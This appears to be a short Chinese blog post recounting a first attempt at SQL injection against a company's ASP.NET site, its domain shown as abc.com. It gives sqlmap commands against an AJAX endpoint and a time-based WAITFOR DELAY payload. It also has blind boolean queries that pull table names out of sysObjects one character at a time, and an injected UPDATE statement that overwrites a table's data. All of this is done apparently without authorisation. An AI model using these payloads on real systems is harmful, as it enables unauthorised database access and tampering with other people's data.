首先,听说某公司的网站被注入了,我也来试试。
该网站是.net的。但url本应该是.aspx?a=a&b=b。但是好像被rewrite过了,显示.com/che_a~b/。这个不好办。
先查看页面源码,发现里面有很多ajax异步获取更新信息的,并且url未rewrite。找了一个拼好“http://abc.com/ajax/cc.aspx?a=a&b=b”。
找到D盘下的python.exe。
cmd
cd python27
Python sqlmapproject-sqlmap-0.9-1906-g6bc5f44\sqlmapproject-sqlmap-6bc5f44\sqlmap.py -u http://abc.com/ajax/cc.aspx?a=a&b=b
结果显示a不可以注入,b可以注入。并显示数据库为sql server 2008。没想到这么容易。
并且看到注入的方法:http://abc.com/ajax/cc.aspx?a=a&b=b') WAITFOR DELAY '0:0:5';
让改sql延迟5秒。
再执行
Python sqlmapproject-sqlmap-0.9-1906-g6bc5f44\sqlmapproject-sqlmap-6bc5f44\sqlmap.py -u http://abc.com/ajax/cc.aspx?a=a&b=b --current-db
来看数据库信息。
得到了几个数据库的名字,还有很多表名。不过执行了很久。
简单分析一下怎么查找表名。
SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>97--
SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
SELECT top 1 * FROM table1 WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
得出改表的表名的第一个字母的ascii值不大于103,并且不小于103,那个该表的表名的第一个字母的ascii值为103,也就是字母“g”。
用这个方法找出第二个第三个一直到最后一个字母。
得到表名和字段名后,我们试着修改一条表信息。
把http://abc.com/ajax/cc.aspx?a=a&b=b') update table2 set title = 1;--放到浏览器地址栏,然后回车。
发现title被改为1了,注入成功。
后来用firefox的firebug伪造了一个表单,并且注入成功。
初试sql注入成功。